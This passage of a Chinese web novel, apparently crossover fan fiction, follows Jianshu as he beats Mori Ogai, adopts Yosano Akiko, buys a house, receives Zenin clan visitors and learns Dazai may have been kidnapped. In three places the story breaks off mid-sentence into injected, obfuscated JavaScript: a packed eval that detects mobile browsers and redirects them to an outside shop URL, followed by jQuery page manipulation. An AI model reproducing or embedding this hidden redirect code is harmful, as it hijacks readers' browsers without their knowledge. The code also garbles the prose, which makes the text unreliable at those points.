乱步嗅了嗅,然后有些可惜的看了眼桌子上还剩下的点心。他匆匆塞了满嘴,然后小跑着过去抓住与谢野晶子的手。 没有犹豫,说了句轻快的“溜了~”后,他拉着与谢野晶子逃离。 两个孩子都不在场,那接下来就是成年人的“交谈”。 在弹幕此起彼伏的起哄下,间漱选择了赞同最高的建议。 “你没有成为父母的资格。”他转动手腕,慢条斯理的将桌子边缘的杯子往里面推,“你根本就不适合养孩子。” 说完间漱抬头看去,对面的人反应很快,后撤的同时利落喊道:“爱丽丝!” 凭空出现的金发少女手持利器挡在中间,但随着令人牙疼的嘎吱声后,她被黑色的丝线控制了行动。 森鸥外没有猜错,那黑色的丝线确实是“头发”。但看着它不比武器逊色的锐利程度,他又后知后觉的意识到面前人的恐怖。 【别被外表欺骗啊!爱丽丝不过是异能体,不是真的人类!】 【就是就是,毫不犹豫的重拳出击吧!】 间漱花了几秒钟确定爱丽丝没有人类的体征,然后半眯着眼睛握紧左手。 狭窄的室内并不方便动手,森鸥外有些狼狈的后撤躲开。他掏出藏在后腰的枪,“砰”的一声后面前人微微侧头。 这枪完全是瞄着额心而去,这样近的距离,森鸥外有把握会能够命中。 好消息是确实命中了,但是坏消息是除了一抹蜿蜒流下的血痕外,间漱就连脚步都没有挪动一步。 森鸥外遇到了前所未有的强大敌人。 19.多出的妹妹 鲜红的、粘稠的血迹,顺着鼻梁淌下,然后摇摇欲坠的挂在下巴边缘。 人在受伤后会流血,这点间漱也模仿的很像。他举着手,本来有机会挡住那飞速靠近的东西。 但想到这样可能会损坏这双菊送的手套,他就变得迟疑。 弹幕刷的更快了,一大片的【啊啊啊啊】快要遮住间漱的视野。 他眨了眨眼睛歪过头,下一秒果断伸出手,随着肉眼无法捕捉的速度,室内响起令人牙疼的声音。 森鸥外缓缓睁大了眼睛,作为一个医生,他很清楚自己的手臂和一条腿肯定骨折了。 从高处垂落的黑丝如同流淌的液体,控制着森鸥外的四肢。他被迫仰头,看清楚爱丽丝破碎的过程。 因为轻敌而遇见的第一次滑铁卢……森鸥外眉头微不可察的皱起,然后强迫自己保持冷静。 间漱盯着那张脸,直到面前人吐出一声叹息。 “很痛啊,如果我做错事情,难道不应该给我改正的机会吗?”森鸥外故意说道,“还有,我们不是朋友吗?” 那双浅灰色的眼中有迷茫,他的话见效了。又一声轻叹后,是更委婉的提醒。 “暴力手段不可取,我们明明能坐下来好好聊聊。”森鸥外放弃了挣扎,“你控制着不破坏店里的设施,是很善良的人呢,那为什么又要对我如此过分?” “抱歉。”间漱收起一只手,下意识找借口,“是你先动手的。” “那也允许我道歉,是我太紧张了。”森鸥外扬起一个微笑,“你说得对,这件事也是我考虑不周。” 间漱收回了那些东西,而没了丝线的支撑,面前人趔趄两步撑着椅背站稳。 垂落的手不自然的扭曲,森鸥外将重心放在完好的那条腿上,然后忍耐的疼痛继续说道:“比起我你似乎更有经验,我现在的状态,恐怕短时间内没办法照顾她了。” “所以,能不能麻烦你帮忙收留她几天?” 【不行!是打不过才退一步,收留一段时间好找机会又将她带去战场吗?!】 【胜负已分,输掉的人怎么好意思提要求。】 【真不愧是老狐狸,动手伤了人还想重归于好?别做白日梦了,间漱才不会答应他的。】 原本准备点头答应的间漱沉默了,然后他装作一本正经的样子说道:“不行。” “你输了,那她就归我了。” 森鸥外扯了扯嘴角,有些难以维持笑容。他不知道为什么间漱短时间内如此善变,不知道是不是胸口的暗伤,让他憋着一口气说不出话。 间漱收拾好现场,赔偿了不小心打坏的杯子和座椅。然后又负担了森鸥外的医疗费,不过后者看着那卷钞票眼神前所未有的复杂。 他擦干净脸上的血,追着离开的乱步,在街对面的角落找到两人。 那两人蹲在台阶上,听到脚步声才齐刷刷抬头。 乱步并不意外间漱的胜利,他扬起笑容得意说道:“我就说间漱肯定能赢的。” 与谢野晶子趁着站起来的时候,用手背快速擦了擦眼尾。她的眼眶红通通的,强忍着没哭:“谢谢您。” “在你出来前,我已经和她说了那个人的阴谋啦。”乱步双手叉腰,然后又不满的抱怨,“你真是笨蛋,这样明显的利用你,居然看不出来吗?” 【当然不是谁都像你一样聪明啦,你可是世界第一的名侦探诶。】 【这时候乱步还没发现自己和别人的不同,不过这样的话听着满满挑衅的意味。】 【快夸他快夸他,和小狗一样眼睛亮晶晶的,是在等待夸奖吧。】 “你干的很不错。”间漱点点头,按弹幕的提示摸了摸乱步的脑袋。 看着其他两人的互动,与谢野晶子局促的绞着衣角。 如果事实真的和乱步所说的一样,那她确实不想去战场上。但是如果不去的话,她好像也没办法回到店里继续工作…… 间漱一转头就看到,将惶恐写满脸的与谢野晶子,在提醒下才想起自己的打算:“与谢野晶子?” 他轻声喊道,在得到不安的回应后,下蹲以平视的视角看着面前人:“你还是孩子,不应该去战场,也不应该这么早就一个人生活。” “所以你愿意和我回家吗。” 【愿意!愿意她愿意!】 【好耶,太对了,这个年纪的孩子就应该有个正常的监护人嘛。】 【自信一点,这可是间漱亲手赢下来的!】 【不过能从那位未来首领手上抢人,不愧是对剧本组都使用强制爱的间漱!!】 得到弹幕夸奖的间漱很满意,也不等与谢野回答,就直接站起身说道:“你需要收拾一下带走的东西吗?” 与谢野晶子有些茫然,但听到乱步用肯定的声音回答“当然”时,眼尾那摇摇欲坠的眼泪,终于是掉了下来。 小小的包袱只不过装着几件衣服,还有简单的洗漱用品。她抱着这些东西,小心牵住那主动伸来的手。 温柔的掌心带着人类独有的体温,对于弹幕说的“多了一个乖巧女儿”的言论,间漱表示很赞同。 在乱步的强烈要求下,他们又去了畅销店铺购买了甜点,去超市买了晚饭的食材,然后这才慢悠悠的在黄昏前往家里赶。 或许是因为弹幕的气氛太活跃,间漱感觉自己似乎忘记了什么。 然后回到家收拾东西时,他想起注意到的一条不起眼的弹幕——噢,孩子多了,是时候要买一个新房子了。 晚饭是简单的蔬菜沙拉和鸡蛋面,沙拉是与谢野晶子亲手做的,因为乱步强烈要求他的碗里不能再看到鸡蛋面。 不过蔬菜沙拉里面,十种里面有一半他都不爱吃,所以乱步又嘟囔着,将蔬菜挑到间漱碗里。 间漱倒是不挑食,他熟练地将煮好的鸡蛋剥壳,然后分别放在其他两人碗里。 “一天一个鸡蛋。” 与谢野晶子一开始还有些不习惯,但很快她的谨慎变成了欲言又止:“蔬菜沙拉里面……不用加那么多的沙拉酱。” “可是这样更好吃一点。”乱步拿着刀叉指指点点,与谢野晶子又皱眉询问,“那为什么要放蜂蜜?” “因为是甜的。”理直气壮的回答,“研究的新菜品,很有新意不是吗?” “可是这样味道会很奇怪吧?”忍不住的与谢野晶子反驳,“另外巧克力为什么要放进去?!不行!巧克力豆也不行!” “嘛嘛,反正无论什么样的味道,间漱都不会拒绝啦。” 间漱没有否认,与谢野晶子皱紧眉询问:“又不是垃圾桶,为什么要什么都吃?” “因为能吃。” 新研究的菜品不出意料的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623753|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一言难尽,直到亲眼看着间漱吃完,与谢野晶子才深深吐出一口气。 “真是服了你们……” 一个乱来一个配合乱来,与谢野晶子第一次见这种氛围,但不知不觉间,因为紧张而抿起的嘴角,也悄悄上扬起微笑的弧度。 门就是在这时候打开的,玄关处传来窸窸窣窣的动静,然后是一句半死不活的声音:“我回来了。” 太宰治放下书包一脸疲惫,然后他一抬头看到了其乐融融的几人。 看到还有另一个年纪更小的孩子,与谢野晶子好像明白了什么,但还是第一时间看向间漱。 乱步眯着眼睛,像是看好戏那般撑着下巴:“这次可不关我的事哦。” 看到太宰治,间漱才恍然大悟,想起来自己忘记了什么。 今天出门好像是为了找人来着…… 菊没有说错,到点后太宰治确实自己回来了。间漱放下了筷子,站起身的同时说道:“去哪里了。” 太宰治浑身变得僵硬,但对上那双眼睛,还是第一时间选择了坦白——因为感觉不坦白的话,会有更严重的事情发生。 “因为之前委托了伏黑先生任务。”他慢吞吞的解释,“所以答应了要帮忙解决一些问题。” “什么问题?” “去赌马场帮忙押注。” 【?这么老实就回答了,你还是我们印象里的宰治吗?!】 【哈哈哈哈,甚尔不要带坏小孩子啊!虽然这种事确实是宰会做的。】 【可不能学坏了,快教训他一下让他长长记性。】 【虽然暴力不可取,但是可以使用那招——打他屁股吧!这可是家长专属的权力!】 弹幕纷纷给出五花八门的建议,间漱在沉默的时间里选择了呼声最高的一种。 他半跪着伸手提起太宰治的衣领,在那疑惑的目光中,将人按在膝盖上。 随着“啪”的一声闷响,巴掌落在屁股上,隔着衣服看着不轻不重。 “不能撒谎欺骗老师。” 间漱一边说,一边高抬起手轻轻落下:“也不能去赌马场。” 两下结束后,他又将人摆正,顺带整理了太宰治的衣领和略有些凌乱的头发。 “不过你坦白值得奖励,晚饭是鸡蛋面,先吃饭吧。” 这一套动作结束的太快,要不是屁股上还残留着感觉,太宰治都没有反应过来发生了什么。 但等他缓过来后,那张脸立马憋得通红。 看着转身去厨房的间漱,太宰治有一种说什么都不对的感觉。他憋屈又烦闷的被按着在位置上坐下,然后终于想到了指责的的由头。 “她是谁?!”太宰治伸手指着对面的人,“你就没有解释吗?” 解释?间漱慢半拍的反应过来,弹幕却好像听到很有趣的事情。 【哈哈哈,怎么一副质问的语气?】 【是那种感觉——离家不过短短一天,你居然有别的崽?!】 【大型争宠现场,哈哈哈。】 被质问的与谢野晶子没有开口,她知道面前的孩子是间漱的儿子,所以她没有回答的立场。 但下一秒被几人齐刷刷看着的间漱,却很冷静的回答:“你的……妹妹。” 继多一个成年人当弟弟后,太宰治又多了一个看着就比自己大的妹妹。 20.祝乔迁之喜 因为早有过类似的经验,所以太宰治并不意外,他依旧神情复杂,憋了半天因为无语说不出半句话。 而一边的与谢野晶子,本以为自己是无关紧要的,但是花了几秒钟理解间漱的话后,她的脸也顿时涨红。 “妹、妹妹?”她唰地一下站起身,指着太宰治说道,“他一看就比我更小吧?为什么我不是姐姐?” 间漱放下手里的盘子,思索着给出回答:“因为你来的比较晚。” 好像是这个道理,但兄妹也好姐弟也好,本质是从年龄来区分,而不是先来后到。 与谢野晶子无法理解间漱的脑回路,她只慢半拍的反应过来,无论是哪种关系都好,她已经亲口得到承认,成为这个家庭的一份子。 她有些恍惚,也忘记了生气和反驳,只呆愣愣的红了脸,然后支支吾吾的小声说:“这样……这样的关系不对,明明是我年纪更大一点。” 间漱点点头表示自己听到了,然后熟练的将太宰治按着坐下,剥好的鸡蛋落入碗中,后者郁闷的夹起一筷子面条。 家里还有空余的房间,得知情况的菊打电话回来,全程指导着几人一同收拾。 间漱向两人说了自己的想法,他想在更热闹的地方购置房产,这样一大家的人就都可以搬进去了。 繁男是赞同的,并且包揽了挑选房源的任务,他的效率很快,第二天间漱就在手机上收到好长一段信息。 “要出门了。”他站在门口,收起手机的同时对里面喊道,“宰治?” 太宰治站在楼梯下方,他有些抗拒的表示:“我想去上学了。” 【噗,几天前你可不是这样说的,指指点点。】 【哈哈哈,因为间漱要去找甚尔算账,宰表示十分抗拒。】 【毕竟一起去鬼混被抓到了,要是去找甚尔的话,无异于又一次公开处刑。】 间漱耐心等待着,乱步收拾了满满一大包零食,然后将沉甸甸的袋子挂在了与谢野肩膀上。 三人都站在门口,于是僵持的太宰治也没了办法,他只能认命的迈出第一步,然后被一双大手抓着整理衣服。 一大早的时候,间漱就主动向学校请假,吃过早饭又拖延了许久,这才踏上去医院探望的路。 因为有前一次的经验,间漱学习其他人的行为,在医院边上买了鲜花和水果。 同行的晶子看到,某人要大手一挥,在游说下要包揽一摊子的鲜花。她愣了一下直到间漱真的掏钱,才立马拽住后者。 “等等,你真的要买这么多吗?” “很划算。”间漱这样说道,“买十送一呢。” 晶子欲言又止,看着店铺老板搓手的殷勤样子,还是坚持说道:“可是用不到吧?难道要将这么多鲜花摆满房间吗?” 说着说着她又扭头看其他两人,一个叼着棒棒糖一脸习以为常,另一个抱着沉甸甸的水果篮子,一脸的生无可恋。 看来——只有她能站出来了。 晶子摆出强硬的态度,果断的提出自己的要求,并且亲自挑选,将不新鲜快要枯萎的花挑出去。 几分钟后,间漱得到一捧鲜艳的、还沾着水珠的花,无论是整体的颜色搭配还是香味都很合适。 付完钱的晶子长舒一口气,终于像是解决心头大患那般扬起笑容,然后听到间漱一句“还能这样吗?”,她里面转头严肃道。 “这只是宣传的手段,虽然听着很优惠,但是你根本就不需要那么多。” 【太有道理了,原谅间漱耳根子软总是被骗!】 【已经不知道是第几次假装精明,实则被哄得团团转了……】 【家里终于来了管事的!好耶!】 间漱摸了摸鼻子,点点头顺从道:“我知道了。” 而也是从这天起,在不知不觉间晶子接手了管理家庭财务的大权。 医院里,同病房的两人早已经在等待。 菊坐在轮椅上,第一时间对进门的晶子微笑:“你就是晶子吧?” 晶子原本还有些局促,但看着笑容和蔼的夫妻,又悄悄松了口气。 她被拉着手在旁边坐下,听着菊感谢她为间漱“做主”。 虽然不知道后者怎么知道花店里发生的事情,但在没反应过来的时候,晶子点着头答应了,会多多看管间漱。 而另一边的间漱刚放下手里的东西,他看着繁男和乱步两人手忙脚乱的插好花,然后才熟练的掏出水果刀。 他已经掌握了诀窍,完整的苹果皮掉入垃圾桶,然后三两下切成小兔子形状。 太宰治看着手心的苹果,一抬头那张脸上是等待他夸奖的得意表情。 他轻哼一声,然后报复似得咬掉兔子脑袋。 晶子推着菊面朝窗外,不明白乱步和繁男两人,为什么在间漱拿起苹果的时候就溜出了门。 然后马上她就理解了,因为手心会刷新苹果,吃完立马补上的那种。 在礼貌的吃完、然后因为饱腹而打出苹果味的嗝后,晶子面色难看的明白了,那两人这样做的原因。 最后还是繁男回来救场,他咳嗽着杵着拐杖进门:“间漱?昨天不是说要找新房子吗,要不要带两个孩子去看看。” 间漱终于从削苹果中回神,晶子见状立马抢走水果刀藏好。 “要去。”他站起身,“你们不去吗?” “哈哈,我和妈妈现在不方便。”繁男解释道,“而且你们三个才是一家人,我们还是住乡下比较习惯,不过没关系之后也可以常往来。” 间漱不是很理解为什么要分开,但还是按照提醒带着两个孩子去找见了中介。 繁男介绍的人果然很靠谱,得知了要求后立马推荐起合适的房源。 各种户型图堆了一桌子,间漱熟练的掏出记事本,在上面写写画画。 看着这幕中介以为是很懂行的客户,于是立马更敬业、热情:“客人喜欢什么样的?可以去实地看看哦。” 晶子下意识探头看了眼,然后发现记事本上的不是什么重点,只是仿造户型图画下来的,歪歪扭扭的线条。 …… 看过几个地方后,间漱终于在弹幕的提醒下,想起来哪里不对。 “太小了。”他很认真的说道,“最起码要一人一个房间,甚尔虽然不和我们一起住,但是也要有。” 在好奇甚尔是谁的时候,晶子看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635611|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本兴致缺缺的太宰治坐直身。 “我要自己一个房间!”太宰治强调,并且主动向中介提要求,“最好是偏僻的角落,没有窗户也不靠近别人的房间。” 这样的要求中介第一次听,但客户毕竟出手大方,所以也点点头:“这样啊,这边倒是有一栋合适的房子,要不要去看看?” 因为将乱步一家人也算到里面的原因,公寓的选项被排除在外。挑挑选选半天,带院子的独栋房子似乎是最佳选择。 “这栋房子的前主人是新婚的夫妻,本来是做完婚房采购装修,但后面两人都出国了,所以才装修齐全也很新。”中介尽职尽责的介绍,“虽然比较偏,但胜在安静。” 三层的房子带一个独立的院子,每层除去厨房和客厅外,还有四个可以居住的房间。 间漱对房子没有要求,在看到晶子和太宰治都点头后,立马爽快的掏了全款。 中介震惊的不行,还想介绍地处优势呢,没想到客户会这样爽快。 晶子挑了二楼靠西的房间,太宰治挑挑选选看中了顶层的阁楼。但那里确实不是住人的地方,所以他一个人住在最靠近阁楼的三楼东侧房间。 家具基本上齐全,因为付款爽快的原因,中介热情的包揽了剩下缺少的软装。 稍微整理一下后,当天就能搬进去居住。虽然房子远离主街道,但也在市中心,所以不管是去医院还是学校,都方便了不少。 【终于有自己的窝了,太好了!】 【好耶,恭贺乔迁!谁能想到几个月前,还是要在马路边上乞讨的父子俩呢?】 【已经不止是父子两人了,哈哈要变成大家庭了吗?】 【难不成、难不成间漱其实有四处捡孩子的习惯?】 【前面的发现的也太晚了,是的!间漱喜欢到处捡孩子!大声!】 随着钥匙的交接,他们终于有了稳定的“家”。 还在医院的夫妻两人和乱步打来电话,恭贺之余又约定着,等出院后要举办乔迁宴。 不过在搬过来的当天晚上,就有人敲门送上了搬迁贺礼。 开门的是晶子,沙发上的间漱还在看着手机上的短信走神。 没有其他的原因,只不过是因为和甚尔失联,并且连孔时雨都不知道他去哪里了,所以才分神在思考这件事。 门口传来窸窸窣窣的动静,随着一声“太宰先生不在吗?”的询问,间漱终于回过神。 那声“太宰先生”也让太宰治下意识抬头看去,然后立马举起手里的书本挡住了半张脸。 间漱走向门口,晶子侧身让开路。门外有两个老头,穿着一身和服、腰侧佩刀。 为首的老头摸了摸胡子,然后笑眯眯的说明来意:“听闻太宰先生乔迁,刚好有空所以送来贺礼。” 没有人接话,禅院直毘人也没有生气,而是眼睛转了转换了个说法:“早就听夜蛾正道说过你了,他最近有些忙,特地拜托我多为照顾,哈哈哈现在的年轻人可真是越来越优秀了。” 对不认识的人不用搭理,不过听到夜蛾正道这个认识的名字,间漱才点点头。 然后他看到了弹幕清一色的,被和谐的口口。 21.强者的弱点 【虽然我也很不满这个老头子,但是你们也骂得太脏了哈哈。】 【哈哈哈,家人们的攻击性我认可了,满屏的口口啊。】 间漱不知道那些口口是说了什么,他只知道弹幕不待见门口的人,比上次遇到森鸥外还要激动。 但出于待客的礼仪,以及他们说认识夜蛾正道的原因,间漱还是将人请了进来。 那两人自我介绍是禅院家的人,一个是家主禅院直毘人,另一个是其左膀右臂禅院扇。 而弹幕还在说让禅院家的人滚出去,并且情绪激动的痛骂他们用心险恶。 骂得太脏也太快了……间漱费了很多心思去阅读,以至于一直冷着脸不动。 至少在其他人看来是这样,十分冷淡并且嫌弃的样子。 晶子有些拿捏不准,但还是在两位客人落座后,主动去厨房端了两杯白开水出来。 她放下杯子,顺带解释道:“家里没有别的东西能招待,就只能先请二位将就一下了。” “哈哈,太宰先生可真是有两位优秀的孩子。”禅院直毘人摸了摸下巴,夸奖道,“百闻不如一见,像你这样优秀的人,果然连培养的后代也很优秀。” 是夸奖,这句话间漱听明白了。他在对面的位置落座,点了点头:“有事吗?” 十分简单且直白的开场白,禅院直毘人有些拿捏不准面前人的喜好,但还是试探着开口:“夜蛾正道引荐你成为咒术师,这件事想必他已经和你说过了吧?” “嗯。” “是这样的,对于强者大家总是会有所忌惮。”禅院直毘人不紧不慢道,“所以高层对于这个提议略有异议。” “所以呢?” 话被堵死,听起来像是找茬的话那样不善。站着的禅院扇啧了一声,然后很不客气道:“家主亲自来一趟是给你面子,如果你愿意来禅院门下,那这些刁难自然不算事。” “夜蛾正道也是很优秀的咒术师。”禅院直毘人突然提及不相关的话题,表情带着些遗憾,“但他毕竟独自一人,没有背靠的家族。所以你要考虑一下吗,禅院家能给你提供很多助力。” 面前人伸手示意,大大小小的盒子被摆上桌。同时还有一句邀请—— “当然,你日后得到的会比这更多,也不会有人再拿你诅咒师的身份挑事。” 没听明白……间漱一脸深沉,不明白这件事和夜蛾正道有什么关系,为什么弹幕都要说这个老头在威胁他? 【靠!不愧是禅院家,玩心眼子的都心脏!】 【发生什么了?原谅我看不懂,怎么都喜欢说话说半截啊。】 【当然是因为间漱当过诅咒师,所以那些高层要借此挑事,引荐的夜蛾正道很难做,甚至有可能被连累。】 【是的,感觉这些刁难里面,也有禅院家出的一份力。】 【现在又趁机抛橄榄枝?别开玩笑了,这算盘我在家都听到响了。】 原来是这样——间漱十分感谢那个提问的弹幕,经过这一系列的剖析和解释,他赞同了那句话。 这些人心眼子好多。 知道两人的来意后,事情就简单多了,间漱漫不经心的瞥了眼,明白不能无缘无故收礼的道理:“这些你们带回去吧。” 明晃晃的拒绝,甚至没有更多的交谈,一个来回就直接结束。 很不按常理出牌,禅院直毘人有些意外,看着那无欲无求的眼神,明白自己遇到了最难对付的情况。 人都有欲/望,无非钱、权等利益,而无欲无求的人最难诱惑。 禅院直毘人并没有操之过急,只是很配合的起身:“这些礼物只是为了庆贺乔迁,就当是送给两个孩子的吧,交个朋友,不要拒绝。” 像是没想到放弃的如此容易,禅院扇有些欲言又止,但被禅院直毘人一个眼神阻止。 他依旧是端着和善的态度,说话滴水不漏:“不过日后要是遇到困难,间漱也可以来禅院家求助。” 【呸呸呸,别喊的这么亲密!我们间漱才不会遇到困难呢,快走吧糟老头子。】 【这群烂橘子都一样糟心,总觉得他那个语气很笃定,说不定日后会被为难。】 【唉,要是他们都嗝屁就好了。】 门再次关上,间漱看着留下来的礼物并没有特别的反应。 他只是在思考,烂橘子是什么东西,橘子烂了应该在垃圾桶,为什么会和人扯上关系。 而另一边离开的两人,在不久之后就此事开始商议。 “为什么要给他面子?你可是亲自走了一天,已经很给他面子了。他还不知道禅院家代表着什么吧。”禅院扇有些不满,“不过是一个自以为是的臭小子而已。” 禅院直毘人更为冷静,他只是摇摇头:“他的能力能操控咒灵,并且不像那个咒灵操使一样有限制。你真觉得,注意到他的只有我们?” “这都要谢谢甚尔提供的消息了,多亏了你我们才能抢先一步。” 房间里盘腿坐着的第三人并不言语,他低着头看着屏幕亮起的短信。 短信对面的人每天都发许多消息,哪怕他一条也没有回复,也依旧有关心的短信。 而最新的一条是一个地址,并且附带扭曲线条拼凑的图案。 间漱让他选一个房间,当时甚尔看着那鬼画符的画技,第一次被逗笑了。 “你这没用的家伙也总算是有了点用处。”禅院扇冷哼一声,“不过居然没骨气的选择入赘改姓,那禅院家就不可能再接纳你了。” 甚尔没有说话,只是摩挲着早已经空掉的杯子。 禅院直毘人在对面坐下,态度自然:“确实和你说的一样,间漱是一个很难对付的人,这种没有需求的人,那就只能从弱点克服了。” “你觉得他的弱点是什么?是什么东西、又或者……” 原本低垂着头,保持沉默的甚尔睁开了眼睛,他听懂了禅院直毘人的话外之意,也明白后者察觉到那个明晃晃的“弱点”。 他扯着嘴角,发出一声冷笑:“大概是那个叫太宰治的小鬼吧。” “是吗?我倒是觉得他女儿更乖巧,没想到更看重小儿子啊。”禅院直毘人若有所思,甚尔听着“女儿”二字,短暂的疑惑片刻。 推拉的纸门再次打开,禅院扇率先离开,在起身迈出去之前,禅院直毘人好像想起什么事情突然停了下来:“对了,提到孩子,我想到你上次说的事情,还是这样打算的吗?” “如果那个孩子觉醒了术式,倒是可以送回禅院家,怎么说?” 甚尔愣了一下,半天后给出模棱两可的回答:“再看吧。” 他的儿子大概会觉醒术式,不像他这个没有能力的废物,恐怕能在禅院家混得不错。 本来是这样想的,但是为什么坚定的想法会动摇?甚尔不受控制的想到那个讨人厌的家伙,然后在空无一人的室内枯坐着。 他喃喃自语了一句:“又捡一个孩子……那家伙还真是奇怪的癖好。” —— 探望病人需要提前准备,而最好的选择就是煲汤了。 写人文关怀的书里是这样提议的,不过看着锅脑子里只浮现怎么煮面的步骤,间漱突然觉得自己需要一本烹饪的书。 不过还好晶子会煲汤,她穿着围裙熟练的报出一串食材,在尝试的时候又下意识说教。 “萝卜不用完全去皮,但是萝卜叶子不需要放进去!” “为什么要焯水?因为婆婆是这样教我的,为什么要切这么大块?因为这是炖汤!” 在回答了“一百个”个莫名其妙的问题后,晶子生出了将人赶出厨房的冲动。 她本来还告诉自己要克制,要表现的“乖巧”,但间漱什么都要问,什么都要尝试。 所幸他上手很快,没多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646134|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久在指点下就能切出像模像样的形状了。 看着那张脸上满意的表情,以及认真听讲的模样,晶子压下那点烦躁,转而更耐心一点:“哼,真是笨,我只再演示一遍。” 萝卜落入汤里,经过半个多小时的熬煮,散发出独特的香味。 晶子擦了擦额头的汗,很满足的准备将汤装入保温桶里,不过在那之前她还是盛出一小碗,假装不经意道:“哝,好不容易成功了,尝尝吧。” 热气腾腾的汤带着萝卜特有的清香,但是它很烫。伸出的舌头小心翼翼尝试,然后很快败下阵来。 收拾好厨房的晶子,看到桌子上原封不动的汤,她的眼神有一瞬间的失望,但很快掩饰下来。 半小时后,准备齐全的她主动询问:“该出门了吧?” 被催促的人站在桌前,眼睛直勾勾的盯着汤碗,在又一次尝试温度后,才心满意足的一饮而尽。 “味道很不错,我很喜欢。”间漱面对晶子,认真的给出评价。 他其实想等汤更冷一点的,但是弹幕纷纷提醒,说有一个小女孩很失望快要碎掉了。 “也、也就是一般般了。”晶子摸了摸脸颊,见间漱一直看她,她别扭的表示,“不过你喜欢的话以后可以专门给你做,今天毕竟要去看病人。” “好。” 两人就这样约定好,而这专门做的汤,也得到了其他几人的一致好评。 乱步也少有的赞同,他连连点头并且评价:“比间漱做的好多了,他只会做鸡蛋面诶。” “我现在也会煲汤了。”间漱一本正经道,然后在菊的主动提问下,重复了煲汤的过程,“要把萝卜切大块,然后要焯水和炖半个小时。” “因为着急出门啦,想要味道更好的话可以多炖一会儿。”晶子收好碗筷,闻言补充了一句,“不放萝卜也是可以的,不过是因为家里刚好有,可以灵活变通。” “哈哈,间漱是笨蛋啦。”乱步这样说道,“如果你不说的话,那他炖汤就只会知道要放萝卜。” 间漱倒是没有否认这句话,他只是顺着晶子的话思考,汤里面还可以加入什么食材。 而这一思考就是一下午,在菊否定了汤里加苹果的提议后,时间悄然来到下午五点。 繁男很贴心的提醒:“时间差不多了,该去接孩子咯。晚饭我和乱步去准备,间漱记得快去快回。” “我去准备晚饭吧。”晶子无奈的起身,“毕竟他只会准备快餐,病人应该吃点更有营养的。” “诶?这是什么话,明明吃这些更方便!” 听着吵吵闹闹的声音,间漱带上门离开。他有些迫不及待的想和太宰治分享,自己又学会了一道新的菜。 但刚到学校,看到这有名的人出现,幼稚园的园长立马出面接待。 “孩子?你不是派伏黑先生接走了吗。”园长擦了擦额头上的汗,哈哈笑了两声后又补充,“没商量好吗,不过这种情况也经常有啦。” 确实没有提前商量,间漱虽然意外,但是想到甚尔和太宰治关系越来越好这点,也就十分放心的准备回去了。 不过他刚回到医院,乱步和菊就齐刷刷的看来,后者有些欲言又止,前者更为直接。 “他不是被接走了吧?”乱步缓缓睁开了眼睛,“明明是被绑架了才对。” 繁男瞬间警惕,但他从来不怀疑乱步,也明白菊那个表情的含义。 他意识到事情的严重性,于是立马询问:“要报警?” 间漱愣了一会儿,此时弹幕也给出了一样的答案。 【我靠我靠,绑架?名侦探肯定不会看错,难道?】 【难道甚尔背叛了?擦,因为说不动所以只能用这种下流的手段吗?!】 【确实像是禅院家的作风,不过也不用那样意外,毕竟甚尔之前也是禅院家的人。】 间漱:禅院家?